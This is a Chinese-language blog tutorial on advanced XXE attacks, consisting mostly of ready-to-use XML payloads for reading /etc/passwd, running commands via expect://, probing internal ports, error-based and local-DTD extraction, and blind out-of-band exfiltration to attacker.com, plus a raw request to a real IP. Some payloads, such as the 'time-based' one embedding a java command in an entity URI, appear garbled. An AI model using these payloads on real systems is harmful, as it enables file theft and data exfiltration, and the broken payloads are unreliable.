XXE进阶

<aside> 💡

XXE危害1:读取任意文件

</aside>

XXE基础里面有,分为有回显与无回显两种。

**<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "file:///文件路径" > ]>
<creds>&goodies;</creds>**

POST传输

**POST /parse HTTP/1.1
Host: 47.76.152.109:60088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

xml=<?xml+version="1.0"?>
<!DOCTYPE+root+[
+<!ELEMENT+root+ANY+>
+<!ENTITY+xxe+SYSTEM+"file:///flag"+>]>
<root><name>%26xxe;</name></root>

注意!!!&一定要改成%26**

<aside> 💡

XXE危害2:执行系统命令

</aside>

***注:需要 PHP 开 expect 扩展*
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "expect://whoami" > ]>
<creds>&goodies;</creds>**

<aside> 💡

XXE危害3:内网探测**/ssrf**

</aside>

利用http://协议,也就是可以发起http请求,利用该请求去探查内网,进行SSRF攻击。

**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "<http://127.0.0.1:80/Test/test.txt>" >
]>
<creds>
    &goodies;
</creds>**

**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "<http://127.0.0.1:81/Test/test.txt>" >
]>
<creds>
    &goodies;
</creds>**

<aside> 💡

XXE报错注入

</aside>

1.文件路径泄露

攻击者可能构造一个导致服务器尝试打开不存在文件的实体,从而在错误消息中包含文件路径或其他上下文信息。这种情况下,报错注入的Payload可能是:

**<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///non_existent_path">
]>
<root>&xxe;</root>**

2.DTD(Document Type Definition)错误利用

利用DTD错误,如无限递归或未知实体引用,迫使XML解析器崩溃或返回详细的错误消息,其中可能包含服务器的环境信息。

**<!DOCTYPE test [
  <!ENTITY % evil SYSTEM "<http://attacker.com/evil.dtd>">
  <!ENTITY % inner "<!ENTITY % injected SYSTEM 'file:///etc/passwd'>">
  %evil;
  %inner;
]>
<root></root>**

3.XPath注入与错误利用

如果服务器使用了可配置的XPath查询,并且在处理XML时对查询结果进行了错误处理,攻击者可以通过构造特殊的XPath表达式导致错误,从而泄露信息。

**<?xml version="1.0"?>
<!DOCTYPE poc [
  <!ENTITY % ext SYSTEM "file:///etc/passwd">
  <!ENTITY % xpath '<!ENTITY &#x25; xp "<!ENTITY &#x25; error SYSTEM 'file:///etc/passwd'>">>
  %xpath;
  %xp;
]>
<x:xmp xmlns:x="<http://www.w3.org/XML/1998/namespace>">
  <query>
    <x:select>/root/*[name()='item' and value='bad_value' or substring-after(value,'error')=%error;]</x:select>
  </query>
</x:xmp>**

<aside> 💡

XXE本地DTD攻击

【Apache solr XML 实体注入漏洞复现(CVE-2017-12629)】

</aside>

DTD目录

**//windows
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd**

//**Apache 
file:///usr/share/xml/fontconfig/fonts.dtd

//ubuntu16.04
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd

/usr/share/libgweather/locations.dtd

/usr/share/yelp/dtd/docbookx.dtd**

Paload:

**<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>**

<aside> 💡

XXE的bypass

</aside>

  1. 禁用实体加载的绕过
    • 有时服务器会禁用XML解析器对外部实体的加载,但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制,如利用内部实体的递归来消耗服务器资源,实现DoS攻击。
  2. 禁用DTD的绕过
    • 有些服务器禁止了DTD解析,但仍可能允许XML模式(XSD)或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。
  3. 带外(OOB, Out-of-Band)信息泄露
    • 当服务器不返回实体内容时,攻击者可以构造实体指向攻击者控制的服务器,利用服务器端的网络行为(如发起请求)来进行信息泄露,而不依赖于服务器的直接响应。
  4. XPath注入
    • 如果服务器使用了XPath查询,并且这些查询基于用户输入,攻击者可能结合XXE和XPath注入,构造恶意查询来获取敏感信息或执行系统命令。
  5. 滥用特性
    • 攻击者可能利用XML解析器的其他特性,如php://input伪协议、XML解析器的解析错误等,来执行攻击。
  6. 利用旧版或有已知漏洞的XML解析器
    • 服务器可能仍在使用老旧版本的XML解析器,这些版本可能包含已知的XXE漏洞,而服务器管理员未能及时更新。

<aside> 💡

XXE的盲注

</aside>

布尔型盲注

**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % true "<!ENTITY xxe SYSTEM 'file:///dev/null'>">
  %true;
]>
<root>&xxe;</root>**

时间的盲注

**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient <http://attacker.com/> & sleep 5">
  <!ENTITY % true "<!ENTITY xxe SYSTEM '%file;'>">
  %true;
]>
<root>&xxe;</root>**
#如果服务器响应时间增加明显,则可能执行了耗时的系统命令。

带外通信(Out-of-Band, OOB)利用

**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "<http://attacker.com/?data=><data_to_send>">
]>
<root>&file;</root>
#<data_to_send>会被替换为实际要发送的数据,比如从受害服务器中获取的敏感信息。**

攻击者在其自己的服务器上监听,如果接收到请求,则意味着服务器可能受到XXE攻击并执行了外部实体。

相关推荐
Hacker_LaoYi27 分钟前
网络安全与加密
安全·web安全
黑客Ash11 小时前
【D01】网络安全概论
网络·安全·web安全·php
.Ayang13 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang13 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
网络安全-老纪13 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
Mr.Pascal14 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
dot.Net安全矩阵16 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
Hacker_Oldv17 小时前
网络安全的学习路线
学习·安全·web安全
黑客Ash17 小时前
计算机中的网络安全
网络·安全·web安全